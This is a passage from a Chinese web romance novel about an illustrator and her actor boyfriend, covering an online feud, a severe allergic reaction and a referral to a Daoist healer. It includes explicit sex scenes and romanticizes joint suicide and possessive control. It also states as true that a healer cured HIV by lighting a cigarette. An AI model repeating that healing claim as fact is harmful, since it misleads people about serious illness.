雾雨蒙蒙的热水倾洒下来,乌发湿润披散在整个后背,合雨悠根本睁不开眼,睫毛上全是水珠子,被凌湛大掌环着细腰举起来认真接吻,混着流水唇舌交缠。她两脚腾空拔地而起,心里再次为自己不争气的身高叹口气,缺氧的时候朦朦胧胧间睁眼,便见水珠顺着那张棱角分明的脸庞流至下颌。黑眸里充满专注和动情的炽热。 合雨悠心想那稿子也不是现在非画不可,晚上也行的……于是胳膊软下来,缓缓环着凌湛的后颈,不自觉夹着他的腰,小肚子贴着男朋友八块的腹肌。 合雨悠想起来叶铭说酒店隔音不行,忍着都不敢吭声,嘴唇抿得紧紧的然后哭,凌湛以为是不够,胳膊用力抱紧,手臂肌肉结实而坚硬。他低头问她宝宝怎么了,怎么不说话了,一边问一边弄得撞击声惊心动魄…… 合雨悠是爬到自己电脑包前的。 现在是巴黎时间的下午三点。 她掏出IPAD,穿上睡衣,脸上潮红还没下去,头也不回地说:“等等我要先画个稿,我不能拖了。” “你画什么?”凌湛就不明白,一个中场休息,她怎么突然工作去了。 他凑近一看,画的是游戏商稿,凌湛认出是某款手游的人物。 他百无聊赖靠在床上,给合雨悠点了个汉堡。 合雨悠左手吃右手画。 凌湛等了她不知道多久。 “出去吃饭吗?” 她说不要。 她让他问问叶铭。 叶铭这会儿正好在问凌湛:“搞完没,饿了没,出去吃饭。” 凌湛:“我俩在吃汉堡。” 叶铭:“?” 凌湛:“我给你也喊了个。” 叶铭:“不出去了?” 凌湛找出剧本在翻看,左手打字:“她看起来不想的样子。” 叶铭:“你是把她折腾死了?” 凌湛撩起眼皮看她埋头奋笔的样子,说:“看起来不像。” 还没到那份上。 说实话他心里哪怕有点微不足道的报复心理,落到实处,也就是合雨悠一呜咽就会立刻停的程度。 他这几个月已经把自己哄好了,当年的事她也有难处。 他换位思考地认为合雨悠承担了很多的害怕。 她的痛苦不比自己稀薄。 唯一的错就是她不相信他可以解决事情,隐瞒他太多年。 凌湛没事干,骚扰她又被推开,只好出去跟叶铭聊了会儿新剧本。 这是个悬疑本子,结尾的艺术性很高,可以让他发挥,而剧情逻辑紧密,开头也是经典的好莱坞叙事结构,非典型爆米花片。 恰好符合凌湛的期望。 两人聊了一会儿,凌湛就回去看合雨悠画完没。 然后穿着拖鞋回来告诉叶铭:“她走火入魔了。没见过这么喜欢画画的。” 凌湛蹲在叶铭房间的沙发上吃薯条,左手拿着拿着新剧本在看,叶铭扭头一看,就觉得他真的很像猫科动物成精了。 那种喜欢蹲树上晒太阳的美洲豹。 叶铭吐槽:“她在公司还不是那样,前几天我看她画了个什么,基德冷脸洗内裤?你敢信?” 凌湛对此十分淡然:“那算什么,她还画过机器猫给她刷鞋呢。” 叶铭:“?” 凌湛:“牛魔王滑滑板见过吗,她速写本里有。” “啊?” 凌湛:“我问她铁扇公主呢,她说在和丈夫分居做全身美容中,本章不出场。” “啊?” 凌湛搁下手里剧本:“我当时问她为什么画这些,她反问我难道不好奇这些角色在戏外会做什么吗?譬如机器猫,合雨悠认为大雄上课的时间哆啦A梦自己在家里肯定会做点什么,譬如出门买铜锣烧,回来帮妈妈打扫一下卫生,做家务和刷鞋。而神仙们存在于更高维世界,同时与普罗大众一起存在,大隐隐于市,他们为了融入日常人生活会做什么?她自己坐着不动的时候就是在脑补这些玩意。” 凌湛非常了解她这个习惯或者说小爱好,因为曾经合雨悠细致地解释过: “滑板这种类似于风火轮的现代法器就很容易隐藏在麻瓜世界,而不被发现,牛魔王没有角是因为这是皇帝的新角,哦你说他为什么是个美少年?因为我喜欢美少年这个不重要啦……林黛玉为什么在看时装秀?她有钱有时间为什么不买买买,穿一件丢一件,没事在家剪着玩。” 从那时凌湛就觉得她拥有独到的丰富的想象力与灵魂,梦想只是咫尺之遥。 他从没跟人这么聊过合雨悠,可能不是叶铭的问话技巧多高超,而是他自己想说,因为在他记忆里保留着相当多这样的场景,一说出口,便清晰地构成完整的情节。 说给叶铭听,也只是提醒他她绝对是个有天赋和能力的人,不会成为亏本买卖,不会让人失望。他们会相爱也是一种必然,任谁和她认真相处都会喜欢上她的。 凌湛每隔半小时回房间一趟,有时候给她倒水倒咖啡,弯腰从背后问她要不要吃东西,休息一下,去楼下做SPA…… 如此到了晚上。 落地窗外,远处是亮灯的铁塔。 合雨悠当然还没交稿,两万块的商稿需要细化的细节较多,甲方也不在线。 晚上九点半,凌湛聊完部分剧本,回房间去看,合雨悠好像准备休息了在洗脸,他便立刻结束和叶铭的对话。 合雨悠穿着酒店拖鞋一出来,凌湛招喊她过去,她走过去还没站稳,就被他捞到怀里坐着。 凌湛稍微把她一举,就让她跨坐在他腿上了。 合雨悠刚猛猛画了六个多小时现在大脑有点空白。 凌湛卷起她单薄的睡衣,手掌握着给她量尺寸。 合雨悠马上醒神似的脸彻底红透,被他揉的几下更是发颤发软,她其实……挺喜欢这样,她身上有非常多敏感区域,这里是一个高危区,合雨悠霎时说不出话来地仰着头呼吸,低头同时看见凌湛的墨发和右手食指和中指。 她手指微微蜷曲搭在凌湛的头颅。 “凌湛……”她嗓音发哑地喊。 “嗯?”他也没抬头。 合雨悠说:“我觉得这样不好……” 几秒钟后。 “……哪里不好,揉一下会变大吧,”凌湛缓缓抬首,后背靠在沙发靠垫上,嘴唇红润而润泽,说,“不是减肥瘦了吗。” 合雨悠脸通红:“我是觉得不太好……”支吾了一会儿她才说,是做太多了不好。 闻言凌湛脸上有个问号。 很多吗? 不是一次? 合雨悠小声解释:“紫妍说,男人过了二十五,用一次少一次,我们还是节制一点?”她其实有点担心。因为这么说的不只是展紫妍,广大网友也是那样说的。 凌湛脸上又多了个问号。 她轻轻地说:“你认为呢?如果这会影响到三十岁以后……” 凌湛打断:“听她发屁,节制,让她节制下自己的嘴。还有你也是,听信洗脑包,你八十岁会被人骗去搞传销的知道吗。”他食指轻轻点了下合雨悠的鼻子,合雨悠嗷了一声,轻声说知道了。 凌湛怎么看她怎么乖,然后伸手点了点:“与其信她不如信我,我说这样会大点吧,你自己看有没有?” 合雨悠低头。 她想说其实是肿胀的。那么吸不太对吧! 那么亮一看都知道怎么回事,但男的有时候喜欢强词夺理,合雨悠也不是那种反驳型人格,心想算了也没多说话。反而问了句:“凌湛,你想到了我八十岁会发生的事吗?” 凌湛慵懒地微仰着头,靠着说:“嗯,随便想想的。” 合雨悠把自己的衣服放下来了:“哦……那我们八十了还在一起吗?” 凌湛:“废话。”又给她卷上去了。 不做什么他也要看。 合雨悠就不动了,对此感到羞涩,继续轻轻地说:“我想我活不到八十怎么办呀?”她一直觉得自己这职业容易猝死。 凌湛没觉得她说丧气话也没捂她嘴。 而是无比平常地说:“那我们一起提前死,挑个黄道吉日吧。”—— 作者有话说:收尾啦,会在70-75章左右完结~[让我康康]感谢大家追文!!非常感谢,都发红包[三花猫头] 今天开了个小预收,宝宝们喜欢的话可以提前收藏呀,这样开文早知道[让我康康]在专栏里。 《贺新欢》 文案: 许声老公死后,给她留下亿万家产,她百无聊赖环游世界,在拉斯维加斯睡了一个大学生弟弟。 弟弟的脸让许声怀念起老公年轻时候的样子,一米九肩宽腿长,运动神经过人体力强,非常人的占有欲,剑眉星目又刚又欲,一只手能将她抱起。不过明显有些黏人,像什么大型犬类。 许声只当玩玩,虽然挺开心,但不告而别。 几个月后她回家,家里多了个人。温和礼貌伸展长腿地坐在沙发上,起身喊她小婶。 许声瞳孔大地震。 婆婆介绍:“这是你侄子李泊延,七年前你跟应昀订婚那会儿他来过的,你可能记不清,当时他才十三。” 许声才意识到自己干了什么荒唐事。 问题是这荒唐事怎么还继续下去了…… 没多久她发现李泊延的饿狼本质,居然单纯地问她:“第一次的时候小婶没认出我么?” 他伤心脸:“我以为声声发现我是谁才跟我上床的。” 李泊延将她吻的毫无招架之力:“我第一眼就认出你了,不然你以为我是那么好上手的?”—— 女主挺爱她老公的但毕竟死了…… 意志不坚定被年轻肉//体迷住了,不能怪她! 超腹黑绿茶控制欲爆炸的男主 年龄差8 专栏第一个可收藏[让我康康] 第62章 死亡话题两人在多年前就有过,不止一次。他们谈论电影人物的死亡,英雄主义被拆解后的无意义牺牲,日本电影里关于死亡的物哀美,久藏明知必死仍然赴死的武士道精神;程蝶衣自刎;玉娇龙跳崖;入殓师的最后一吻;古典主义的悲剧,甚至他们自身,比如在高三暑假时合雨悠被困因泥石流而封路的炉霍。 她以为凌湛和车一起被泥石流卷下山了。 但凌湛活着。 凌湛当时一点害怕都没有,雇佣的当地司机发现泥石流来临的那一秒,旁边那哥们儿的首要动作居然是掏出相机拍照和构图,像抓住一帧终其一生也难以重现的庞大画面。 但后一秒凌湛很快想到合雨悠。 电光火石的。 他发现这个世界上会有除了他最亲的家人之外的人,对他的死感受到真正的难受。他们没有血缘关系,但可以变成无限接近有血缘关系的家人般的存在。 所以当凌湛完好无损地经历一天一夜出现在她面前时,他有意识地低头观察合雨悠。 合雨悠在他张开手臂的时候就扑上来了,恸哭不已,整个人都在颤抖。 当地交警告诉凌湛,说这个姑娘在他们临时安置区一把连靠背都没有的红色塑料椅上,坐了二十多个小时,一直在问人关于他的消息,怕他死了。雨夜又冷又湿,空气里弥漫泥味,她却动也不敢动,长发贴着脸颊,眼睛熬得通红,抱着他哭得没力气了,不住重复说对不起。 凌湛安慰了她一会儿,问她:“那我死了你准备怎么办?” “……我不知道,”她呆了一会儿,看起来没什么精神,最后吸了吸鼻子,哑着嗓子说,“我可能就跳下去了。” 国道317的悬崖离她近在咫尺。她的冲动是出于直觉性的、毫不思考的诚实。 凌湛低头接触到她眼神时,一瞬间意识到—— 她可能真的会为了他去死。 “殉情”在作品里常常被写得美到极致,爱燃尽后只剩执念,执念再被推到尽头,就是一对双生火焰的离场。 凌湛那天突然就懂了这种美。 没有恐怖和悲壮,是一种很干净的、相互依存的终点。 当年凌湛对死亡非常接纳和宽容,还告诉她等有天他的使命感结束了,他可以赴死。合雨悠则懵懵懂懂,她并不看哲学,她对这件事的态度就是很认真地告诉他:“凌湛,不要那么悲观啦,你当然要活着了,你的电影还没拍出来,还没有在影史留名,最多三十年就没人记得你了,这多可怜啊。” 所以现在他们再次聊到这个话题,比当年要成熟一些的凌湛觉得死于精尽人亡也不差劲,或者像《失乐园》的结局一样抱在一起自焚也还行。 凌飞说过他的精神和常人不太一样,其实也不止一个人说过,他自己知道且不以为然,浪漫主义是永恒的,爱也可以是永恒的。他追求爱情并没有错,因为他追求的本质是虚无的永恒。 在巴黎那几天,凌湛会压在她身上一遍遍地对说:“宝贝,我们永远都在一起不分开好不好?” “你要是哪天不想要我了,我也不让你走。” “我会把你关起来。” “你要一直看着我,不要喜欢别人。”他会一直让合雨悠看着他,在她偏头的时候掰着她的下巴,说,“你看着我。” 合雨悠后知后觉,凌湛的偏执好像加重了。 以前都没这么严重的。 但她心里半点害怕都没有。 凌湛的工作离结束还有一段周期,但合雨悠最多半个月就得离开。离开前,他们在圣心堂后面的小巷子散步,过了午夜在大街上开敞篷兜风,参观莫奈花园,在白崖看日出,在海鸟声里一起躺在悬崖边看天光一点点变亮,最后返程去在兰斯的酒庄买了几瓶酒送给未来老丈人,然后在车上填满她。 跟着合雨悠就得回国了。 因为再过五天就是她人生中第一场签售会了。 然而就在她浑身酸软独自上飞机那刻,手机关机时,刚送完机的叶铭就收到了助理的消息。 “铭哥,这个今无忧和我们盒子姐有仇吗?” 他随手回:“今无忧是谁啊,不认识。” 助理:“一个画漫画的还挺有名的。” 跟着是一张截图传来。 @画画的今无忧://其实我和基友我们俩都是高P来着……求大家儿童节看见了我别失望,我本人巨巨巨照骗。 今无忧是回复某个微博网友,甚至她还放了一张和“小河向西流”的聊天截图。 她给对方的备注是“小西流”。 也就是合雨悠。 其中合雨悠那几句“我高P的”、“可能是豆包吧”、“现在AI也很厉害了”非常高亮。 叶铭皱皱眉,扫了一眼好像在车上闭目补眠的凌湛,没出声。 他感觉凌湛有种纵欲后女朋友走了的消沉。 叶铭悄悄回复助理:“盒子刚上飞机,航班发你了,她到了你去接她,你完整告诉我时间线,她为什么那么发?” 助理回得很快。 “起因应该是上周,今无忧官宣要去上海萤火虫签售,就在盒子的舞台旁边,但她舞台是小舞台,主办方跟我们沟通过,盒子是连签两天下午,我们要的大舞台。今无忧粉丝比盒子多,她没拿到周末的签售大舞台,这可能是起因之一。” “起因二,今无忧官宣的照片是她的一张自拍,那种网红萌妹头像,就长这样。” 助理发了一张图过来。 一个一看就P得有点糊的加了大眼特效的齐刘海白皮肤萌妹。 叶铭:“感觉是十年前空间里流行的自拍画风。哈日哈韩谈小黄毛那种。” 助理就说:“就正常有点小漂亮的女生吧,不知道本人什么样,总之她粉丝都在群里夸她的,说要看见她了好激动,大美女眼睛好大好可爱之类的。” 叶铭:“我猜不会是有人在群里触到她雷点,说盒子是美女吧。” 助理发来大拇指:“正解。” 助理:“是的,她被人比较了,她看见自己有几个根本不看恐怖漫画的粉丝居然关注了西流,还讨论说要去看看她,因为我们选的那张照片很漂亮,说明星也不为过。” 助理:“然后她就不知道出于什么用心发了张截图给粉丝,然后现在吵得有点厉害,有人说她有点茶和嫉妒,然后很快被她群里上千粉丝冲了。” 叶铭略微扫了一眼截图。 “没恶意但感觉今无忧有点茶。” “茶+1。” “无忧大大本人超美好吗我去年才见过!近距离闻香香大美女,萌化了!” “西流自己说用AI做的照片呵呵,不会有的人真把AI照片当成自己本人了吧?” “一想到有人居然用豆包P的美图骗人我就作呕!!” “不知道本人多丑。” “路人,吃瓜半天看明白了,有个漫画家营销美貌,结果照片是豆包做的??” “哈哈不知道能不能说,我线下两个都见过,西流很少出来的,前几年活动来过一次,吃饭的时候摘口罩满脸痘痘都烂脸了,五官都看不见了。” 助理表示:“讨论热度挺高的,主要是今无忧的漫改剧最近刚刚播完。” 叶铭:“哦,她就是那个剧原作者啊,那么烂的剧招商都没招几个。” 助理:“铭哥,那我们是公关掉还是……” “不用公关。” 叶铭不担心,甚至觉得这事儿来得挺妙的。 他瞄了旁边伸长腿歪着脑袋在睡觉的凌湛一眼。 “再把火炒炒,正愁热度上不去呢。”他回。 就是他有点担心合雨悠心理素质。 所以叶铭是完全瞒着凌湛和合雨悠在操作。 合雨悠的回国航班是凌湛给她买的,睡了一觉落地,打开手机人傻了。 她虽然社交不多,但从业多年,多少认识一些圈内人士,她的甲方、老编辑、解散的群管理,还有资深二次元姜小敏。 “盒子!!!这个今无忧是疯了吗?” 合雨悠坐下来先没回其他的,回了凌湛的消息,他问她到了吗,她回了:“刚落地,小龚来接我。”然后一边去提行李一边捋清楚事情来龙去脉。 最后她扫了一眼消息栏,今无忧五个小时前还给她留言了,说:“西流大大对不起我真的没想到事情会变成这样,我忘记给你打码了啊啊啊当时赶稿去了没注意,我发现的第一时间立马就删掉了。” 今无忧现在有点慌,因为她发现事情的走向不受控制了。 她只是想小范围地告诉她的忠粉,小河向西流是个照骗,不要抛弃她去粉西流,他们见到真人一定就懂了,她没说谎,西流本人真的是丑女来的。 可这种小事凭什么上微博热搜第一啊?? 她只是无意间吐槽了一句啊!!! 可是刷个小红书都是她的微博截图和西流的豆包AI美照。 嘲讽骂声一片,下场的全是路人,不混漫画圈子甚至不看漫画连二次元都不是的也大有人在。 除了骂西流虚荣和弄虚作假、想看她笑话以外,就是说“没想到今无忧茶里茶气的”,和“这种人我见多了她就是嫉妒西流”。 “swl我刚好买了张票,本来是去摆摊的现在都不想卖了,过几天漫展开始了我现场开贴直播,高低要看看这俩女的谁更照骗。” “西流那张照片美死了,AI指令我都反推出来了,她肯定喂了豆包一百张桥本环奈吧。” “作者别删!!关注你了,我也想看直播。” “想看直播+1哈哈……” 今无忧是睡不着了:“西流大大你睡了吗?真的很对不起,我已经删了,我也挂了个道歉在微博,非常非常抱歉!!” 合雨悠在机场的反光墙面上看了眼自己,她刚睡醒戴着帽子,脸只有巴掌大,瓜子脸大五官。 丑和她有什么关系? 合雨悠莫名其妙,不明白这人想干什么。 叶铭给她留言了,让她先别管,小龚会来接她回家,也别回复任何人,做好她应该做的事,少吃高热量别长胖,白天注意拉伸之类的…… 但合雨悠想了想,还是回复了今无忧一句:“我刚睡醒,不好意思我还不知道是什么情况。” 今无忧秒回:“啊啊啊大大你终于理我了,吓死我了我以为得罪你了我们俩彻底基友情破碎了呢,你没误会就好QVQ。” 合雨悠这回就没理她了。 网友说得不错,今无忧是低级绿茶。 公司的助理经纪人小龚接到了合雨悠,在车上小心翼翼地问她:“盒子姐,这事儿您先别看,我们在公关了,别影响心情。”说完递给她一杯水,“花生露。” 合雨悠是有点影响心情,因为有人翻她被造谣的旧事继续在造谣。 她喝了几口饮料压压惊。 但叶铭是要公关掉这些的,所以合雨悠虽然看见了,但一刷新就没了。因为叶铭想让网友只关注这场照骗战争,对小河向西流本人到底长什么产生无与伦比的好奇心,带动一场经典的营销案例! 合雨悠不知道自己被经纪人给做局了。时态有点大,她选择不闻不问,最近的上镜训练和上镜视频告诉她,她就是美少女。 有眼睛的应该都看得出来。 叶铭也在电话里鼓励她:“这根本就是一件小事,如果有人问你你就消失也别回,心态最重要。我们在公关了,不会有人骂你的放心吧。现在你最重要的就是保持体重,对了你几年前活动上满脸痘怎么回事,过敏?” 合雨悠说:“对,我过敏了。那段时间刚好染了个头发,我应该是对那个染膏过敏。那个活动没多少人的。” 叶铭:“远离你的过敏原!!” 合雨悠还对菠萝和松子过敏,比如吃菠萝嘴巴会烂掉,吃松子会满脸红疹。 与此同时凌湛还在参加品牌方董事局私宴。水晶灯晃得像一场永无止境的细雪,他都不知道自己为什么要为了两千万的代言费整天出席这些无聊的活动,已经持续快一个月了。 毫无意义的社交。 他心里这么想,却是驾轻就熟,好像有个非常善于社交的人格上身,举手投足切入贵公子模式,穿着高定西装,腕间百万代言豪表在手中香槟杯光里闪着细碎的光,嘴上能准确接住每个董事的话题。 好长一阵,凌湛抽空靠在花园旁抽烟,风绕过他的西装领口,手机上和合雨悠聊了几句:“到家了吗?” 合雨悠回到了:“正准备洗澡休息了,好累。” 凌湛就没有骚扰她了:“早点睡,宝贝。” 过了几个小时,合雨悠洗完澡出来,软绵绵躺在床上画画,稿子她还是要画的,前几天的两万已经到账了,甲方非常满意于是又约了一张两万的商稿。 她哼哧哼哧地画着,忽然间感觉脸上有点痒。 抬手摸了一下,指腹下竟有些轻微的凸起。 “……啊?” 她立马钻进浴室开灯,镜子里那张刚洗完热水澡的小脸,本该是刚蒸出来的桃子,结果此刻两颊已经浮起了一层细红。还在扩散。 像被猫轻轻抓过一样。 她的心腾地漏了半拍,脑子里飞快闪过一句—— 菠萝不能吃,松子不能碰……等等,我今天吃了什么? 飞机餐。 飞机餐里的菠萝汁她是没有点的。她的过敏原比较小众,平时不怎么注意也不会吃到。 而行李箱旁,保温杯静静放着。 花生露。 合雨悠立刻点了氯雷他定的外卖,翻出芦荟胶来擦,以及询问不知道在不在熬夜的助理小龚:“小龚,今天你给我的花生露是你自己做的吧,你加了什么?” 在熬夜给合雨悠搞合理公关的小龚回: “盒子姐你还没睡啊?快睡了。” “花生露好喝吗?我自己破壁机打的,加了开心果核桃和松子。”—— 作者有话说:[三花猫头]谢谢追文呀[红心]今天评论也都发红包 第63章 “龚爱国,你到底在想什么,我都怀疑你是对面派来的间谍了!”得知消息的叶铭在电话里发了火,助理小龚唯唯诺诺站在合雨悠旁边,对叶铭道着歉,偷偷瞥合雨悠的脸。 真是惨不忍睹。 合雨悠在艰难地咬碎药片。 她平生最怕吃药,因为无法吞咽,只能靠咬。许多常人感受不到的药味在舌尖弥漫开来。 合雨悠终于吃完药,喝了一大口水,才对电话里说:“是我没告诉他的我的过敏原,不要骂他了。我刚刚已经吃药了,过敏反应应该会在一天内下去。” 小龚感激地看一眼她。 叶铭:“一天?” 合雨悠:“常理来说丘疹可以下去……但是会红疹几天。” “几天?!”叶铭火速打开摄像头,“把你的摄像头也打开我看一眼。” 合雨悠打开了。 叶铭我草了一声:“你怎么过敏这么严重??” 镜头下合雨悠的脸颊已经全然红了一片。 合雨悠说:“可能是我皮肤好。” “和你皮肤好有什么关系,我得想想办法,我想想……”他撑着额头原地踱步。 合雨悠解释说这种表现在脸上的丘疹型过敏恰恰是因为皮肤太好了,才容易这样,她说:“我看过文献。” “好了,别跟我科普了,三天内你必须恢复到正常可以上妆的状态。”叶铭说,“我认识一个北京的中医,她的中药面膜之前三天帮我认识的艺人调好了痘痘肌。”他说完马上道,“我现在就去打电话,你在家,吃饭给我格外小心一点!” 合雨悠坐在沙发上,和刚刚过来的公司助理面面相觑。 小龚继续对她道歉:“盒子姐,怎么办啊现在……” 合雨悠起身道:“我不知道,我先敷个医用面膜,现在挺晚了,都凌晨了,我也不太好意思喊你过来加班的。” “都是我的错……我认罪,我有错,我真该死。” 合雨悠反过来安慰他几句,让他回家,小龚摇头:“我住你家客厅行吗,我今晚必须看着你。铭哥跟我交代了。我开了车,必要的时候我给你当司机送你去医院。要不我们现在就去医院急诊?” 合雨悠其实挺困了,但眼下没有办法,如果是平时她就像刚刚那样处理,一周后就逐渐正常了。但现在非常时期,合雨悠说“也好”,和他一起去了医院。 凌晨五点半,合雨悠拿了药回来,按照医嘱外服和内服,但医生也明确说了:“这个三天恐怕好不了。你要化妆肯定不行。” 合雨悠回家后就直接趴下睡了,因为太困了。 她和叶铭隔着时差,叶铭给美容中医打电话的时候,人家还在睡梦中,叶铭感觉要完蛋了,一边给认识的其他专家发消息询问,一边坚持不懈地打电话,终于在一个小时后联系上了。 对方却说抱歉:“叶总,我在奥克兰,不在国内。” 叶铭:“您能回国吗?” “啊?” 叶铭:“我真的特别紧急……” 医生说:“我这带着孩子呢……最快也得两天后回去。” 叶铭:“您帮我看看孩子这情况有什么办法可以在三天内恢复健康皮肤吗?”他把合雨悠的皮肤局部照片和情况一起发了过去。 门外,传来敲门声,叶铭打开,是凌湛。 凌湛:“打电话?” 在接电话的叶铭背过身去,嗯了一声:“配合针灸才可以对吗?也就是您不可能马上赶回去,她是对松子过敏。但是六一那天有活动必须要上妆……” 凌湛:“合雨悠?” 叶铭没理他,凌湛走到他面前,叶铭又转身,凌湛又走到他面前:“她怎么了?过敏了?怎么你都知道了我还不知道。” 凌湛给合雨悠打电话。 合雨悠正在睡觉,电话是不接的。 凌湛又给之前叶铭给合雨悠安排的助理打电话。 助理是秒接。 小龚在合雨悠家客厅坐着都睡不着了。 凌湛开口第一句话就是:“我是凌湛,你好,你是合雨悠的助理?” “啊?我是,您、您……您怎么……” 小龚非常诧异于凌湛的来电,虽然在公司见过,但他凌湛压根没有什么联系,顶多之前给凌湛做过几次运营方案,给他做运营太简单了,因为这哥什么都不接…… 听说是家里太有钱了才这样的。 凌湛没时间听他结巴,打断道:“她过敏了?现在怎么样?” 小龚没时间细想,语无伦次地说:“盒子姐给我打电话的时候我还没睡,是凌晨两点过,她喝了……果仁饮料就过敏了,里面有松子。然后现在医院我们也去过了,她去睡觉了,铭哥说有个北京的中医可以治,他好像去联系了,具体怎么样我也不清楚。” 凌湛扭头看叶铭。 听叶铭语气就知道不成了,中医甚至不在国内。 凌湛说:“我现在给你们订机票,她是六点睡的?那她一般要睡七八个小时,也就是下午一点起床,下午四点的航班,你们去四川。” 小龚:“嗯??” 凌湛:“找一个道医,我找人带你们去。你发身份信息过来,你全程陪她……”话到此处,凌湛忽地一顿,回忆了下这个男助理长什么样。 他没有印象。 但他记得叶铭说这个龚爱国是个Gay来着。 凌湛交代:“你全程陪她一起,有任何问题都给我打电话。” 小龚:“好的凌哥,收到凌哥。” 尽管都不知道为什么凌湛要来电,要这么关心盒子姐,就在他怀疑一切的时候,忽然注意到不起眼的角落里,有合雨悠和凌湛的合影…… 准确来说是一张自拍,非常生活化,一看就知道是情侣,而拿手机的那位是凌湛,没抬头的那位是合雨悠。 像是男朋友缠着女朋友自拍一样,少年时期的凌湛看着镜头,嘴角压着笑意,整张脸占据了照片的近乎一半,黑发微微乱着,眼尾细碎的光闪动。 而另一半画面就是刚见过的盒子姐了,她好像和现在有点不太一样,窝在沙发里穿一件宽松的T恤,头发凌乱好像刚被人给揉过,她完全没注意到有人在拍照,抱着腿拿着一个大平板,脸侧朝镜头方向,却没抬头,睫毛压下来像一扇软软的翅膀。 如果合雨悠可以回答,她会回答:“啊,我当时在打植物大战僵尸。” 那是她在那个假期最喜欢的游戏。 而且她很开心凌湛有一台屏幕特别大的IPAD给她用。 小龚震惊地望着那张照片:“啊……” 竟然是这样。 他说为什么叶铭签了个漫画家,还以为要另辟蹊径捧她进娱乐圈当明星。 凌湛很快安排好了一切,订了机票,随后给外婆打了个电话。 这下换刚挂电话的叶铭围着他转了。 凌湛扭开头,对电话里道:“外婆,您带她去山上找邰师傅,她最快最快,是下午六点到。你们见到邰师傅可能是八点,他还活着吧?活着就好。” 叶铭站在他面前:“邰师傅是谁,什么医生?” 外婆对凌湛说:“邰师傅现在已经不见外人了,中央来的车都不见,但你小舅舅最感激他,每年我们过来清修。我无法保证一定可以见到他,但既然你开口,我会亲自去一趟。对了,那姑娘姓合?凌湛,你先别告诉她我是谁,等见面了我得看看她。” 凌湛哑然,怎么还玩面试这套。 “知道了,我不告诉她您是谁。” 叶铭又凑他面前问:“你找了个医生?” “是。”凌湛挂了电话,低头编辑信息给合雨悠留言。 叶铭:“什么医生,很厉害吗?” 凌湛没抬头,只淡淡道:“一个老得不行的半仙。” 叶铭半信半疑:“搞玄学的?算命的大师?能治病吗?” 凌湛说能:“我没成年的时候,我小舅吸//毒,得了艾滋,他点个烟,第二天就报告转阴了。我外婆得的肿瘤,也是他看一眼让她回去查肺的。” “卧槽真的假的。” “真的。”如果不是凌湛亲眼所见的话,也不会信的,世上竟有活神仙。 凌湛当时才十七,他小舅三十不到,出了名的混世魔王,家门不幸,外公要活活打死他,然后外婆带他去找了这位道医。医好后回来,毒是没碰了,但仍然浪得一塌糊涂。 他小舅窝在藤椅上对他说:“小湛,你现在年纪小孩不懂,温柔乡这种东西,只要进过一次,你就知道多上头。” 凌湛:“上头上出艾滋来了?” 小舅翘着二郎腿说:“我上完这个上那个,怎么不上头。” 凌湛冷眼相待:“我只上一个。” 小舅笑得更狂:“你怎么跟你妈一模一样?让她多谈几个死活不要结果呢,遇到沙币了吧?” 凌湛抬眼,说:“我不谈恋爱,不也遇到你这种傻逼了。” 因为凌湛是亲眼看见他被治好,所以才让外婆带合雨悠去。 房间里,小龚盯着时间。 下午十二点三十八,合雨悠醒了。 和凌湛预估的睡眠时间差不多。 她皮肤上的隆起一点都没下去,照镜子的时候揉了揉眼睛,也不敢碰脸,要说不害怕是不可能的,她想着等下再去一趟皮肤科医院,刚出房间门,就看见助理直挺挺站在那里。 合雨悠:“你还没走啊?” 小龚连忙说:“盒子姐,太好了您醒了,您收拾下东西,带上证件,我们现在去机场……飞机是三点的,我们十五分钟后出门可以吗?” 合雨悠以为是去北京,她连消息都没看,急匆匆拿了证件,背了个书包就上了小龚的车。 小龚也不敢问她和凌湛的关系,就说:“凌老师让我们去四川找个医生,好像都安排好了。” 合雨悠低头看手机的时候,才看见凌湛的消息,凌湛稍微提了下是个厉害的医生,可以治好她,说找了个人带他们上山,是个老太太,这是电话。 合雨悠把电话存了,给他回了消息:“嗯嗯嗯我现在去机场了!” 下一秒凌湛的视频电话就过来了。 合雨悠吓一跳,犹豫了下还是接了,但一开口就是:“你等等,我戴个耳机。” 凌湛:“你怎么又关摄像头了,宝宝,我看看你。” 蓝牙还没连上。 隔壁的小龚不由自主握紧了方向盘,眼睛余光里流露出八卦的小火苗。 合雨悠心慌意乱地瞥了旁边人一眼,对凌湛说:“你快别说话了我连个蓝牙……” “那你把摄像头打开。” “我没关……”合雨悠的耳机终于连上了,她只是把手机倒扣在胸口,她慢慢拿起来,低头说,“我只是现在不太好看。” “你什么样我没见过?”凌湛看见她脸上起的丘疹,密密麻麻的红,心瞬间就揪起来了。但合雨悠很快就不让他看了,把镜头切换成后置,对着窗外。合雨悠说:“我没什么大碍,其实平时这样过敏最多一周就好了,我以前没有这么严重,也是这几年身体素质下降,免疫力差了才会这样。”她语气没什么所谓,也不想让他多担心,只是一个普通过敏而已。 不致命的。 凌湛默了默,说:“那你赶飞机,我尽快回来,算了我明天一早航班回来找你。” “不用啊!”合雨悠马上说。 “你不想见我?” 合雨悠压低了声音:“其实我们才分开一天,我没有大碍的,你不要回来了啊……”甚至于她照镜子看见脖颈也有许多红疹,差点以为是过敏,然后才想起来这是草莓。 凌湛说:“合雨悠你是不是不爱我。” 合雨悠额头抵着车窗:“凌湛,我真的真的……”话还没说完,凌湛道:“床上喊老公,现在喊凌湛是吧。” 合雨悠:“……” 她发现男的无理取闹起来真的很无理。 她是喊了一次。 就一次。 因为他俩前戏之前看小视频,刚好看了个有剧情的又黄又甜的,女主会一直喊老公的。然后合雨悠可能是被植入了什么思想,也在意乱情迷之际喊了一声。 然后凌湛就老提。 合雨悠脸皮又薄,他提一句她就红温,现在咬着牙说:“我是过敏了不是要死了,但你再说下去我可能要死了。” …… 几个小时后,飞机落地。 合雨悠见到了凌湛说的那个老太太,老太太姓秦,在五月底穿一件米白色针织开衫,打扮得体又温柔的,合雨悠十分礼貌,怎么敢让八旬老太替她拿书包开车门的,合雨悠反过来服务:“您先上车。” 她甚至怕车门槛太高,牵着老太太上车的:“小心。” 秦老太太就侧头看她,合雨悠现在戴口罩和帽子,见她看过来,才不好意思地摘了下口罩,示意道:“我是皮肤过敏,现在看起来比较严重,您放心这个没有传染性的。” 合雨悠摸出消毒湿巾给她:“您擦擦手。” 合雨悠一般是不怎么跟陌生人聊天的,性格比以前更内向,奈何长辈在问她问题,问的都不算冒犯,所以合雨悠也都回答了,因为问到了老家,合雨悠回答了,那老太太就说:“我应该去过你们县城,盛产脐橙对吧?” “对的,家家户户都种橘子。脐橙是其中一个产量比较大的品种,现在我们引进了更多受欢迎的品种。” 